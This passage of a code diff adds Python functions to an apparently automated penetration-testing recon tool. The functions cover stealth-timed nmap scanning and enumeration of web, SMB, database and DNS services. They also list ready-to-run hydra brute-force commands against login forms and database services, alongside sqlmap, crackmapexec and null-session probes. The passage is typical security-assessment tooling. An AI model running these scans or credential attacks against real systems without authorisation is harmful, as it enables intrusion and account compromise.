seconds{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] Total Targets Found: {len(final_targets)}{Colors.ENDC}") + print(f"{Colors.OKGREEN}[+] High Confidence Targets: {final_results['validation_summary']['high_confidence']}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] All targets: {reachable_file}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] High confidence only: {high_confidence_file}{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Full assessment report: {assessment_report}{Colors.ENDC}") + print(f"{Colors.OKGREEN}{'='*70}{Colors.ENDC}") + + return final_targets, [], [] # Compatible with existing code + +def run_nmap_discovery(base_dir, targets, stealth=False, quick=False, enhanced=False, debug=False): + """Run comprehensive port scanning with enhanced options.""" + nmap_dir = os.path.join(base_dir, "scans", "nmap") + target_file = os.path.join(nmap_dir, "targets.txt") + + # Write targets to file + with open(target_file, 'w') as f: + f.write('\n'.join(targets)) + + print(f"{Colors.OKGREEN}[+] Starting {'Enhanced ' if enhanced else ''}Nmap Port Scanning{Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Targets already validated by reachability testing{Colors.ENDC}") + + # Use targets directly since they've been validated by reachability testing + alive_hosts = targets + + # Write alive hosts file for consistency with existing structure + alive_file = os.path.join(nmap_dir, "alive_hosts.txt") + with open(alive_file, 'w') as f: + f.write('\n'.join(alive_hosts)) + + # Copy to targets directory for reference + alive_copy = os.path.join(base_dir, "targets", "alive_hosts.txt") + with open(alive_copy, 'w') as f: + f.write('\n'.join(alive_hosts)) + + print(f"{Colors.OKGREEN}[+] Scanning {len(alive_hosts)} validated targets{Colors.ENDC}") + + # For large target lists, break into smaller chunks to avoid timeouts + chunk_size = 200 if len(alive_hosts) > 500 else len(alive_hosts) + target_chunks = [alive_hosts[i:i + chunk_size] for i in range(0, len(alive_hosts), chunk_size)] + + if len(target_chunks) > 1: + print(f"{Colors.OKBLUE}[*] Breaking {len(alive_hosts)} targets into {len(target_chunks)} chunks of ~{chunk_size} for efficiency{Colors.ENDC}") + + # Enhanced scanning modes + timing = "-T2" if stealth else "-T3" + + # Adjust timeouts based on target count for efficiency + if len(alive_hosts) > 500: + # Very large scan - use shorter timeouts + host_timeout = "120s" + max_retries = "1" + print(f"{Colors.OKBLUE}[*] Large target set detected - using shorter timeouts for efficiency{Colors.ENDC}") + elif len(alive_hosts) > 200: + # Medium scan - moderate timeouts + host_timeout = "240s" + max_retries = "1" + else: + # Small scan - normal timeouts + host_timeout = "300s" + max_retries = "2" + + if quick: + # Quick mode: Low hanging fruit ports only, skip UDP for speed + print(f"{Colors.OKBLUE}[*] Running Quick Mode: Low hanging fruit TCP ports (no UDP){Colors.ENDC}") + + # Focus on most common services for quick wins + quick_ports = "21,22,23,25,53,80,110,135,139,143,443,993,995,1723,3306,3389,5432,5900,8080,8443" + + # Process chunks for quick scan + for i, chunk in enumerate(target_chunks, 1): + chunk_file = os.path.join(nmap_dir, f"chunk_{i}_targets.txt") + with open(chunk_file, 'w') as f: + f.write('\n'.join(chunk)) + + print(f"{Colors.OKCYAN}[*] Quick scan chunk {i}/{len(target_chunks)} ({len(chunk)} targets)...{Colors.ENDC}") + tcp_cmd = f"nmap -sSV -Pn -n -p {quick_ports} {timing} --max-parallelism 50 --max-retries {max_retries} --host-timeout {host_timeout} -iL {chunk_file} -oA {os.path.join(nmap_dir, f'tcp_quick_chunk_{i}')}" + + result = run_command(tcp_cmd, debug=debug, stealth=stealth) + if result is None: + print(f"{Colors.WARNING}[!] Quick scan chunk {i} timed out, continuing with next chunk...{Colors.ENDC}") + + else: + # Standard mode: Top 1000 TCP + 500 UDP, then enhanced scans + print(f"{Colors.OKBLUE}[*] Running Standard Mode: Progressive scanning for fast results{Colors.ENDC}") + + # Phase 1: TCP top 1000 ports in chunks + print(f"{Colors.OKBLUE}[*] Phase 1: Running TCP top 1000 ports...{Colors.ENDC}") + for i, chunk in enumerate(target_chunks, 1): + chunk_file = os.path.join(nmap_dir, f"chunk_{i}_targets.txt") + with open(chunk_file, 'w') as f: + f.write('\n'.join(chunk)) + + print(f"{Colors.OKCYAN}[*] TCP scan chunk {i}/{len(target_chunks)} ({len(chunk)} targets)...{Colors.ENDC}") + tcp_cmd = f"nmap -sSV -Pn -n --top-ports 1000 {timing} --max-parallelism 50 --max-retries {max_retries} --host-timeout {host_timeout} -iL {chunk_file} -oA {os.path.join(nmap_dir, f'tcp_top1000_chunk_{i}')}" + + tcp_result = run_command(tcp_cmd, debug=debug, stealth=stealth) + if tcp_result is None: + print(f"{Colors.WARNING}[!] TCP chunk {i} timed out, continuing with next chunk...{Colors.ENDC}") + + # Phase 2: UDP top 500 ports in chunks + print(f"{Colors.OKBLUE}[*] Phase 2: Running UDP top 500 ports...{Colors.ENDC}") + for i, chunk in enumerate(target_chunks, 1): + chunk_file = os.path.join(nmap_dir, f"chunk_{i}_targets.txt") + + print(f"{Colors.OKCYAN}[*] UDP scan chunk {i}/{len(target_chunks)} ({len(chunk)} targets)...{Colors.ENDC}") + udp_cmd = f"nmap -sU --top-ports 500 {timing} --max-parallelism 25 --max-retries 1 -iL {chunk_file} -oA {os.path.join(nmap_dir, f'udp_top500_chunk_{i}')}" + + udp_result = run_command(udp_cmd, debug=debug, stealth=stealth) + if udp_result is None: + print(f"{Colors.WARNING}[!] UDP chunk {i} timed out, continuing with next chunk...{Colors.ENDC}") + + # Phase 3: Enhanced scans if enhanced mode enabled + if enhanced: + print(f"{Colors.OKBLUE}[*] Phase 3: Running Enhanced Comprehensive Scans{Colors.ENDC}") + + for i, chunk in enumerate(target_chunks, 1): + chunk_file = os.path.join(nmap_dir, f"chunk_{i}_targets.txt") + + # Full TCP port scan with comprehensive service detection + print(f"{Colors.OKCYAN}[*] Enhanced TCP scan chunk {i}/{len(target_chunks)}...{Colors.ENDC}") + tcp_full_cmd = f"nmap -sT -sV -sC -A --version-all {timing} -p- --max-parallelism 50 --max-retries {max_retries} --host-timeout 600s -iL {chunk_file} -oA {os.path.join(nmap_dir, f'tcp_full_enhanced_chunk_{i}')}" + + tcp_full_result = run_command(tcp_full_cmd, debug=debug, stealth=stealth) + if tcp_full_result is None: + print(f"{Colors.WARNING}[!] Enhanced TCP chunk {i} timed out, continuing...{Colors.ENDC}") + + # Comprehensive UDP scan + print(f"{Colors.OKCYAN}[*] Enhanced UDP scan chunk {i}/{len(target_chunks)}...{Colors.ENDC}") + udp_enhanced_cmd = f"nmap -sU -sV --top-ports 1000 {timing} --max-parallelism 25 --max-retries 1 -iL {chunk_file} -oA {os.path.join(nmap_dir, f'udp_top1000_enhanced_chunk_{i}')}" + + udp_enhanced_result = run_command(udp_enhanced_cmd, debug=debug, stealth=stealth) + if udp_enhanced_result is None: + print(f"{Colors.WARNING}[!] Enhanced UDP chunk {i} timed out, continuing...{Colors.ENDC}") + + # Phase 4: Additional scanning phases (post-discovery enumeration) + print(f"{Colors.OKBLUE}[*] Phase 4: Post-Discovery Service Enumeration{Colors.ENDC}") + + # DNS enumeration + print(f"{Colors.OKCYAN}[*] Running DNS enumeration...{Colors.ENDC}") + run_enhanced_dns_enumeration(base_dir, alive_hosts, debug) + + # SMB enumeration + print(f"{Colors.OKCYAN}[*] Running SMB enumeration...{Colors.ENDC}") + run_enhanced_smb_enumeration(base_dir, alive_hosts, debug) + + # Web enumeration + print(f"{Colors.OKCYAN}[*] Running web enumeration...{Colors.ENDC}") + run_enhanced_web_enumeration(base_dir, alive_hosts, stealth, debug) + + # Final summary + print(f"\n{Colors.OKGREEN}[+] Nmap Discovery Phase Complete{Colors.ENDC}") + if len(target_chunks) > 1: + print(f"{Colors.OKBLUE}[*] Processed {len(target_chunks)} chunks covering {len(alive_hosts)} targets{Colors.ENDC}") + + # Count completed scan files + scan_files = list(Path(nmap_dir).glob("*.gnmap")) + print(f"{Colors.OKBLUE}[*] Generated {len(scan_files)} nmap result files{Colors.ENDC}") + + # Parse and summarize discovered services + discovered_services = discover_services_from_nmap(base_dir) + total_services = sum(len(services) for services in discovered_services.values()) + hosts_with_services = len(discovered_services) + + if hosts_with_services > 0: + print(f"{Colors.OKGREEN}[*] Discovered {total_services} services across {hosts_with_services} responsive hosts{Colors.ENDC}") + + # Show top service types + service_counts = {} + for host_services in discovered_services.values(): + for service in host_services: + service_name = service['service'] + service_counts[service_name] = service_counts.get(service_name, 0) + 1 + + top_services = sorted(service_counts.items(), key=lambda x: x[1], reverse=True)[:5] + if top_services: + print(f"{Colors.OKBLUE}[*] Top services found: {', '.join([f'{svc}({count})' for svc, count in top_services])}{Colors.ENDC}") + else: + print(f"{Colors.WARNING}[!] No responsive hosts with open ports discovered{Colors.ENDC}") + print(f"{Colors.OKCYAN}[*] This could be due to: firewalls, timeouts, or network filtering{Colors.ENDC}") + + return alive_hosts + +def run_enhanced_web_enumeration(base_dir, targets, stealth=False, debug=False): + """Enhanced web enumeration with multiple tools.""" + web_dir = os.path.join(base_dir, "scans", "web") + + print(f"{Colors.OKGREEN}[+] Starting Enhanced Web Enumeration{Colors.ENDC}") + + # Discover web services from nmap results + services = discover_services_from_nmap(base_dir) + web_services = [] + + for ip, service_list in services.items(): + for service in service_list: + if (service['service'] in ['http', 'https', 'http-proxy', 'ssl/http'] or + service['port'] in ['80', '443', '8080', '8443', '8000', '8888']): + + protocol = "https" if service['ssl'] or service['port'] in ['443', '8443'] else "http" + web_services.append({ + 'ip': ip, + 'port': service['port'], + 'protocol': protocol, + 'service': service['service'] + }) + + if not web_services: + print(f"{Colors.WARNING}[!] No web services identified{Colors.ENDC}") + return + + print(f"{Colors.OKGREEN}[+] Found {len(web_services)} web services for enhanced enumeration{Colors.ENDC}") + + for web_service in web_services: + ip = web_service['ip'] + port = web_service['port'] + protocol = web_service['protocol'] + base_url = f"{protocol}://{ip}:{port}" + + print(f"{Colors.OKCYAN}[*] Enhanced enumeration of {base_url}{Colors.ENDC}") + + # Create service-specific directory + service_dir = os.path.join(web_dir, f"{protocol}_{port}") + os.makedirs(service_dir, exist_ok=True) + + # 1. Basic HTTP Information + print(f"{Colors.OKCYAN}[*] Gathering basic HTTP information...{Colors.ENDC}") + + # Curl for headers and basic info + curl_cmd = f"curl -sSikL --max-time 10 {base_url}/" + curl_output = os.path.join(service_dir, f"curl_headers_{ip}_{port}.txt") + run_command(curl_cmd, curl_output, debug=debug, stealth=stealth) + + # Curl robots.txt + robots_cmd = f"curl -sSik --max-time 10 {base_url}/robots.txt" + robots_output = os.path.join(service_dir, f"robots_{ip}_{port}.txt") + run_command(robots_cmd, robots_output, debug=debug, stealth=stealth) + + # 2. WhatWeb for technology identification + which_whatweb = run_command("which whatweb", debug=debug) + if which_whatweb and which_whatweb.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running WhatWeb technology identification...{Colors.ENDC}") + whatweb_cmd = f"whatweb --color=never --no-errors -a 3 -v {base_url}" + whatweb_output = os.path.join(service_dir, f"whatweb_{ip}_{port}.txt") + run_command(whatweb_cmd, whatweb_output, debug=debug, stealth=stealth) + + # 3. Nikto vulnerability scanning + which_nikto = run_command("which nikto", debug=debug) + if which_nikto and which_nikto.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running Nikto vulnerability scan...{Colors.ENDC}") + nikto_cmd = f"nikto -ask=no -h {base_url}" + if stealth: + nikto_cmd += " -T 2" + nikto_output = os.path.join(service_dir, f"nikto_{ip}_{port}.txt") + run_command(nikto_cmd, nikto_output, debug=debug, stealth=stealth) + + # 4. Directory brute forcing with gobuster (prioritized) and feroxbuster + print(f"{Colors.OKCYAN}[*] Running directory enumeration...{Colors.ENDC}") + + # Primary wordlists to try (in order of preference) + wordlists = [ + "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", + "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt", + "/usr/share/wordlists/dirb/common.txt", + "/usr/share/seclists/Discovery/Web-Content/common.txt" + ] + + # Find the first available wordlist + wordlist_to_use = None + for wordlist in wordlists: + if os.path.exists(wordlist): + wordlist_to_use = wordlist + break + + if not wordlist_to_use: + print(f"{Colors.WARNING}[!] No wordlists found for directory enumeration{Colors.ENDC}") + wordlist_to_use = "/usr/share/wordlists/dirb/common.txt" # fallback + + # Try directory enumeration tools in priority order + dir_tools = [ + ("gobuster", f"gobuster dir -u {base_url}/ -w {wordlist_to_use} -x txt,html,php,asp,aspx,jsp,xml,js,css,zip,tar,gz,bak,old,log -t 10 -k --no-error -q -o"), + ("feroxbuster", f"feroxbuster -u {base_url}/ -t 10 -w {wordlist_to_use} -x txt,html,php,asp,aspx,jsp,xml,js,css,zip,tar,gz,bak,old,log -v -k -q -o") + ] + + # Adjust for stealth mode + if stealth: + dir_tools = [ + ("gobuster", f"gobuster dir -u {base_url}/ -w {wordlist_to_use} -x txt,html,php,asp,aspx,jsp,xml,js,css,zip,tar,gz,bak,old,log -t 5 -k --no-error -q --delay 200ms -o"), + ("feroxbuster", f"feroxbuster -u {base_url}/ -t 5 -w {wordlist_to_use} -x txt,html,php,asp,aspx,jsp,xml,js,css,zip,tar,gz,bak,old,log -v -k -q --rate-limit 10 -o") + ] + + for tool_name, tool_cmd in dir_tools: + which_tool = run_command(f"which {tool_name}", debug=debug) + if which_tool and which_tool.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running {tool_name} directory enumeration...{Colors.ENDC}") + tool_output = os.path.join(service_dir, f"{tool_name}_{ip}_{port}.txt") + full_cmd = f"{tool_cmd} {tool_output}" + run_command(full_cmd, debug=debug, stealth=stealth) + break + + # 5. SSL/TLS Analysis if HTTPS + if protocol == "https": + print(f"{Colors.OKCYAN}[*] Running SSL/TLS analysis...{Colors.ENDC}") + + # SSLScan + which_sslscan = run_command("which sslscan", debug=debug) + if which_sslscan and which_sslscan.returncode == 0: + sslscan_cmd = f"sslscan --show-certificate --no-colour {ip}:{port}" + sslscan_output = os.path.join(service_dir, f"sslscan_{ip}_{port}.txt") + run_command(sslscan_cmd, sslscan_output, debug=debug, stealth=stealth) + + # TestSSL.sh if available + which_testssl = run_command("which testssl.sh", debug=debug) + if which_testssl and which_testssl.returncode == 0: + testssl_cmd = f"testssl.sh {ip}:{port}" + testssl_output = os.path.join(service_dir, f"testssl_{ip}_{port}.txt") + run_command(testssl_cmd, testssl_output, debug=debug, stealth=stealth) + + # 6. Add manual commands for further testing + manual_commands = [ + f"# Manual enumeration commands for {base_url}", + f"wpscan --url {base_url}/ --enumerate vp,vt,tt,cb,dbe,u,m", + f"cmsmap -t {base_url}/", + f"python3 /opt/dirsearch/dirsearch.py -u {base_url}/ -e *", + f"ffuf -u {base_url}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt", + f"gobuster dir -u {base_url}/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,html,php,asp,aspx,jsp -t 50", + f"hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt {ip} http-post-form '/login.php:username=^USER^&password=^PASS^:invalid'", + f"sqlmap -u '{base_url}/?id=1' --batch --banner", + f"nuclei -u {base_url} -t /root/nuclei-templates/" + ] + + add_manual_command(base_dir, f"Web Service {base_url}", manual_commands) + +def run_enhanced_smb_enumeration(base_dir, targets, debug=False): + """Enhanced SMB enumeration with multiple tools and techniques.""" + smb_dir = os.path.join(base_dir, "scans", "smb") + + print(f"{Colors.OKGREEN}[+] Starting Enhanced SMB Enumeration{Colors.ENDC}") + + # Discover SMB services + services = discover_services_from_nmap(base_dir) + smb_targets = [] + + for ip, service_list in services.items(): + for service in service_list: + if (service['service'] in ['microsoft-ds', 'smb', 'netbios-ssn'] or + service['port'] in ['139', '445']): + if ip not in smb_targets: + smb_targets.append(ip) + + if not smb_targets: + print(f"{Colors.WARNING}[!] No SMB services identified{Colors.ENDC}") + return + + print(f"{Colors.OKGREEN}[+] Found {len(smb_targets)} SMB targets for enhanced enumeration{Colors.ENDC}") + + for target in smb_targets: + print(f"{Colors.OKCYAN}[*] Enhanced SMB enumeration of {target}{Colors.ENDC}") + + # 1. Enum4Linux comprehensive enumeration + which_enum4linux = run_command("which enum4linux", debug=debug) + if which_enum4linux and which_enum4linux.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running enum4linux comprehensive scan...{Colors.ENDC}") + enum4linux_cmd = f"enum4linux -a -M -l -d {target}" + enum4linux_output = os.path.join(smb_dir, f"enum4linux_{target}.txt") + run_command(enum4linux_cmd, enum4linux_output, debug=debug) + + # 2. SMBClient share enumeration + which_smbclient = run_command("which smbclient", debug=debug) + if which_smbclient and which_smbclient.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running smbclient share enumeration...{Colors.ENDC}") + smbclient_cmd = f"smbclient -L //{target} -N -I {target}" + smbclient_output = os.path.join(smb_dir, f"smbclient_{target}.txt") + run_command(smbclient_cmd, smbclient_output, debug=debug) + + # 3. SMBMap detailed enumeration + which_smbmap = run_command("which smbmap", debug=debug) + if which_smbmap and which_smbmap.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running smbmap detailed enumeration...{Colors.ENDC}") + + # Share permissions + smbmap_cmd1 = f"smbmap -H {target} -u null -p ''" + smbmap_output1 = os.path.join(smb_dir, f"smbmap_shares_{target}.txt") + run_command(smbmap_cmd1, smbmap_output1, debug=debug) + + # Recursive listing + smbmap_cmd2 = f"smbmap -H {target} -u null -p '' -r" + smbmap_output2 = os.path.join(smb_dir, f"smbmap_recursive_{target}.txt") + run_command(smbmap_cmd2, smbmap_output2, debug=debug) + + # 4. NBTScan NetBIOS enumeration + which_nbtscan = run_command("which nbtscan", debug=debug) + if which_nbtscan and which_nbtscan.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running nbtscan NetBIOS enumeration...{Colors.ENDC}") + nbtscan_cmd = f"nbtscan -rvh {target}" + nbtscan_output = os.path.join(smb_dir, f"nbtscan_{target}.txt") + run_command(nbtscan_cmd, nbtscan_output, debug=debug) + + # 5. RPCClient enumeration + which_rpcclient = run_command("which rpcclient", debug=debug) + if which_rpcclient and which_rpcclient.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running rpcclient enumeration...{Colors.ENDC}") + rpcclient_cmd = f'echo "enumdomusers; enumdomgroups; querydominfo; exit" | rpcclient -U "" {target}' + rpcclient_output = os.path.join(smb_dir, f"rpcclient_{target}.txt") + run_command(rpcclient_cmd, rpcclient_output, debug=debug) + + # 6. Advanced Nmap SMB scripts + print(f"{Colors.OKCYAN}[*] Running advanced Nmap SMB scripts...{Colors.ENDC}") + nmap_smb_cmd = f"nmap -p 139,445 --script 'smb-os-discovery,smb-security-mode,smb-enum-shares,smb-enum-users,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-server-stats' {target}" + nmap_smb_output = os.path.join(smb_dir, f"nmap_smb_advanced_{target}.txt") + run_command(nmap_smb_cmd, nmap_smb_output, debug=debug) + + # 7. Add manual commands + manual_commands = [ + f"# Manual SMB enumeration commands for {target}", + f"crackmapexec smb {target} --shares", + f"crackmapexec smb {target} --users", + f"crackmapexec smb {target} --groups", + f"crackmapexec smb {target} --pass-pol", + f"impacket-samrdump {target}", + f"impacket-rpcdump {target}", + f"smbclient //{target}/SHARE -U username%password", + f"mount -t cifs //{target}/SHARE /mnt/smb -o username=,password=", + f"hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt {target} smb" + ] + + add_manual_command(base_dir, f"SMB Service {target}", manual_commands) + +def run_enhanced_database_enumeration(base_dir, targets, debug=False): + """Enhanced database enumeration for various database services.""" + db_dir = os.path.join(base_dir, "scans", "databases") + os.makedirs(db_dir, exist_ok=True) + + print(f"{Colors.OKGREEN}[+] Starting Enhanced Database Enumeration{Colors.ENDC}") + + # Discover database services + services = discover_services_from_nmap(base_dir) + db_services = {} + + for ip, service_list in services.items(): + for service in service_list: + service_name = service['service'].lower() + port = service['port'] + + # Identify database services + if any(db in service_name for db in ['mysql', 'mssql', 'postgresql', 'oracle', 'mongodb', 'redis']): + if ip not in db_services: + db_services[ip] = [] + db_services[ip].append({ + 'service': service_name, + 'port': port, + 'protocol': service['protocol'] + }) + + if not db_services: + print(f"{Colors.WARNING}[!] No database services identified{Colors.ENDC}") + return + + print(f"{Colors.OKGREEN}[+] Found database services on {len(db_services)} hosts{Colors.ENDC}") + + for ip, services in db_services.items(): + for service in services: + service_name = service['service'] + port = service['port'] + + print(f"{Colors.OKCYAN}[*] Enhanced enumeration of {service_name} on {ip}:{port}{Colors.ENDC}") + + # MySQL enumeration + if 'mysql' in service_name: + print(f"{Colors.OKCYAN}[*] Running MySQL enumeration...{Colors.ENDC}") + + # Nmap MySQL scripts + mysql_nmap_cmd = f"nmap -p {port} --script 'mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122' {ip}" + mysql_output = os.path.join(db_dir, f"mysql_nmap_{ip}_{port}.txt") + run_command(mysql_nmap_cmd, mysql_output, debug=debug) + + # Manual commands + mysql_manual = [ + f"# MySQL enumeration for {ip}:{port}", + f"mysql -h {ip} -P {port} -u root -p", + f"hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt {ip} mysql", + f"ncrack -v --user root -P /usr/share/seclists/Passwords/darkweb2017-top100.txt {ip}:{port}" + ] + add_manual_command(base_dir, f"MySQL {ip}:{port}", mysql_manual) + + # MSSQL enumeration + elif 'mssql' in service_name or 'ms-sql' in service_name: + print(f"{Colors.OKCYAN}[*] Running MSSQL enumeration...{Colors.ENDC}") + + # Nmap MSSQL scripts + mssql_nmap_cmd = f"nmap -p {port} --script 'ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-query' {ip}" + mssql_output = os.path.join(db_dir, f"mssql_nmap_{ip}_{port}.txt") + run_command(mssql_nmap_cmd, mssql_output, debug=debug) + + # Manual commands + mssql_manual = [ + f"# MSSQL enumeration for {ip}:{port}", + f"impacket-mssqlclient sa@{ip} -port {port}", + f"sqsh -S {ip}:{port} -U sa -P", + f"hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt {ip} mssql" + ] + add_manual_command(base_dir, f"MSSQL {ip}:{port}", mssql_manual) + + # PostgreSQL enumeration + elif 'postgresql' in service_name: + print(f"{Colors.OKCYAN}[*] Running PostgreSQL enumeration...{Colors.ENDC}") + + # Nmap PostgreSQL scripts + pgsql_nmap_cmd = f"nmap -p {port} --script 'pgsql-brute' {ip}" + pgsql_output = os.path.join(db_dir, f"postgresql_nmap_{ip}_{port}.txt") + run_command(pgsql_nmap_cmd, pgsql_output, debug=debug) + + # Manual commands + pgsql_manual = [ + f"# PostgreSQL enumeration for {ip}:{port}", + f"psql -h {ip} -p {port} -U postgres", + f"hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt {ip} postgres" + ] + add_manual_command(base_dir, f"PostgreSQL {ip}:{port}", pgsql_manual) + + # MongoDB enumeration + elif 'mongodb' in service_name or 'mongod' in service_name: + print(f"{Colors.OKCYAN}[*] Running MongoDB enumeration...{Colors.ENDC}") + + # Nmap MongoDB scripts + mongo_nmap_cmd = f"nmap -p {port} --script 'mongodb-databases,mongodb-info' {ip}" + mongo_output = os.path.join(db_dir, f"mongodb_nmap_{ip}_{port}.txt") + run_command(mongo_nmap_cmd, mongo_output, debug=debug) + + # Manual commands + mongo_manual = [ + f"# MongoDB enumeration for {ip}:{port}", + f"mongo {ip}:{port}", + f"mongo {ip}:{port}/admin --eval 'db.runCommand(\"listCollections\")'", + f"mongo {ip}:{port} --eval 'show dbs'" + ] + add_manual_command(base_dir, f"MongoDB {ip}:{port}", mongo_manual) + + # Redis enumeration + elif 'redis' in service_name: + print(f"{Colors.OKCYAN}[*] Running Redis enumeration...{Colors.ENDC}") + + # Nmap Redis scripts + redis_nmap_cmd = f"nmap -p {port} --script 'redis-info' {ip}" + redis_output = os.path.join(db_dir, f"redis_nmap_{ip}_{port}.txt") + run_command(redis_nmap_cmd, redis_output, debug=debug) + + # Redis-cli enumeration + which_redis = run_command("which redis-cli", debug=debug) + if which_redis and which_redis.returncode == 0: + redis_info_cmd = f"redis-cli -h {ip} -p {port} INFO" + redis_info_output = os.path.join(db_dir, f"redis_info_{ip}_{port}.txt") + run_command(redis_info_cmd, redis_info_output, debug=debug) + + # Manual commands + redis_manual = [ + f"# Redis enumeration for {ip}:{port}", + f"redis-cli -h {ip} -p {port}", + f"redis-cli -h {ip} -p {port} CONFIG GET '*'", + f"redis-cli -h {ip} -p {port} INFO", + f"redis-cli -h {ip} -p {port} CLIENT LIST" + ] + add_manual_command(base_dir, f"Redis {ip}:{port}", redis_manual) + +def run_enhanced_dns_enumeration(base_dir, targets, debug=False): + """Enhanced DNS enumeration with subdomain discovery and zone transfers.""" + dns_dir = os.path.join(base_dir, "scans", "dns") + + print(f"{Colors.OKGREEN}[+] Starting Enhanced DNS Enumeration{Colors.ENDC}") + + # Classify targets and discover domains + rfc1918_networks, non_rfc1918_ips, hostnames = classify_network_ranges(targets) + + # Discover additional domains from reverse lookups + discovered_domains = set(hostnames) + + # Parse DNS output files for additional domains + for dns_file in Path(dns_dir).glob("*.txt"): + try: + with open(dns_file, 'r') as f: + content = f.read() + domain_patterns = [ + r'([a-zA-Z0-9-]+\.(?:[a-zA-Z]{2,})+)', + r'([a-zA-Z0-9-]+\.(?:local|corp|internal|lan|domain|ad))', + ] + + for pattern in domain_patterns: + matches = re.findall(pattern, content, re.IGNORECASE) + for match in matches: + if '.' in match and not match.startswith('.'): + domain = match.strip('.') + if len(domain.split('.')) >= 2: + discovered_domains.add(domain) + except Exception as e: + if debug: + print(f"{Colors.WARNING}[!] Error parsing {dns_file}: {e}{Colors.ENDC}") + + # Enhanced subdomain enumeration + if discovered_domains: + print(f"{Colors.OKBLUE}[*] Enhanced subdomain enumeration for {len(discovered_domains)} domains{Colors.ENDC}") + + subdomain_dir = os.path.join(dns_dir, "subdomains") + os.makedirs(subdomain_dir, exist_ok=True) + + for domain in discovered_domains: + if len(domain.split('.')) >= 2: + print(f"{Colors.OKCYAN}[*] Comprehensive subdomain enumeration for {domain}{Colors.ENDC}") + safe_domain = domain.replace('.', '_') + + # Multiple subdomain enumeration techniques + subdomain_tools = [ + ("sublist3r", f"sublist3r -d {domain} -o"), + ("amass", f"amass enum -d {domain} -o"), + ("subfinder", f"subfinder -d {domain} -o"), + ("assetfinder", f"assetfinder --subs-only {domain}") + ] + + for tool_name, tool_cmd in subdomain_tools: + which_tool = run_command(f"which {tool_name}", debug=debug) + if which_tool and which_tool.returncode == 0: + print(f"{Colors.OKCYAN}[*] Running {tool_name} subdomain enumeration...{Colors.ENDC}") + tool_output = os.path.join(subdomain_dir, f"{tool_name}_{safe_domain}.txt") + full_cmd = f"{tool_cmd} {tool_output}" + run_command(full_cmd, debug=debug) + + # Add manual subdomain commands + subdomain_manual = [ + f"# Advanced subdomain enumeration for {domain}", + f"gobuster dns -d {domain} -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 50", + f"python3 /opt/Sublist3r/sublist3r.py -d {domain} -b -t 100", + f"amass enum -passive -d {domain}", + f"curl -s 'https://dns.bufferover.run/dns?q=.{domain}' | jq -r .FDNS_A[]", + f"theHarvester -d {domain} -b all", + f"subfinder -d {domain} -all -recursive", + f"assetfinder --subs-only {domain} | sort -u" + ] + add_manual_command(base_dir, f"Subdomain Enumeration {domain}", subdomain_manual) + +def run_quick_reconnaissance(base_dir, targets, debug=False): + """Run quick reconnaissance scans for immediate results on pre-verified targets.""" + print(f"{Colors.OKGREEN}[+] Phase 1: Quick Reconnaissance (Fast Results){Colors.ENDC}") + print(f"{Colors.OKBLUE}[*] Skipping connectivity checks - targets already verified by reachability testing{Colors.ENDC}") + + # Since targets are already verified as reachable, jump straight to port scanning + # Fast top ports scan on verified hosts + print(f"{Colors.OKBLUE}[*] Running fast top ports scan on {len(targets)} verified hosts...{Colors.ENDC}") + + # Limit to first 10 targets for quick results + quick_targets = targets[:10] if len(targets) > 10 else targets + + fast_ports_cmd = ["nmap", "-n", "--top-ports", "100", "--max-retries", "1", + "--max-rtt-timeout", "500ms", "--max-scan-delay", "5ms", "-Pn"] + quick_targets + try: + result = subprocess.run(fast_ports_cmd, capture_output=True, text=True, timeout=120) + if result.returncode == 0: + # Parse for open ports + current_host = None + quick_results = [] + for line in result.stdout.split('\n'): + if "Nmap scan report for" in line: + current_host = line.split()[-1] + quick_results.append(current_host) + elif "/tcp" in line and "open" in line: + port = line.split('/')[0] + service = line.split()[-1] if len(line.split()) > 2 else "unknown" + print(f"{Colors.OKGREEN}[+] Quick service found: {current_host}:{port} ({service}){Colors.ENDC}") + return quick_results + except subprocess.TimeoutExpired: + print(f"{Colors.WARNING}[!] Fast port scan timed out, continuing...{Colors.ENDC}") + + return targets # Return original targets if scan fails + +def run_enhanced_enumeration(base_dir, targets, stealth=False, debug=False): + """Run comprehensive enhanced enumeration across all discovered services.""" + print(f"{Colors.OKGREEN}[+] Starting Enhanced Service Enumeration{Colors.ENDC}") + + # Enhanced enumeration modules + enumeration_modules = [ + ("Enhanced Web Enumeration", run_enhanced_web_enumeration), + ("Enhanced SMB Enumeration", run_enhanced_smb_enumeration), + ("Enhanced Database Enumeration", run_enhanced_database_enumeration), + ("Enhanced DNS Enumeration", run_enhanced_dns_enumeration), + ] + + for module_name, module_func in enumeration_modules: + try: + 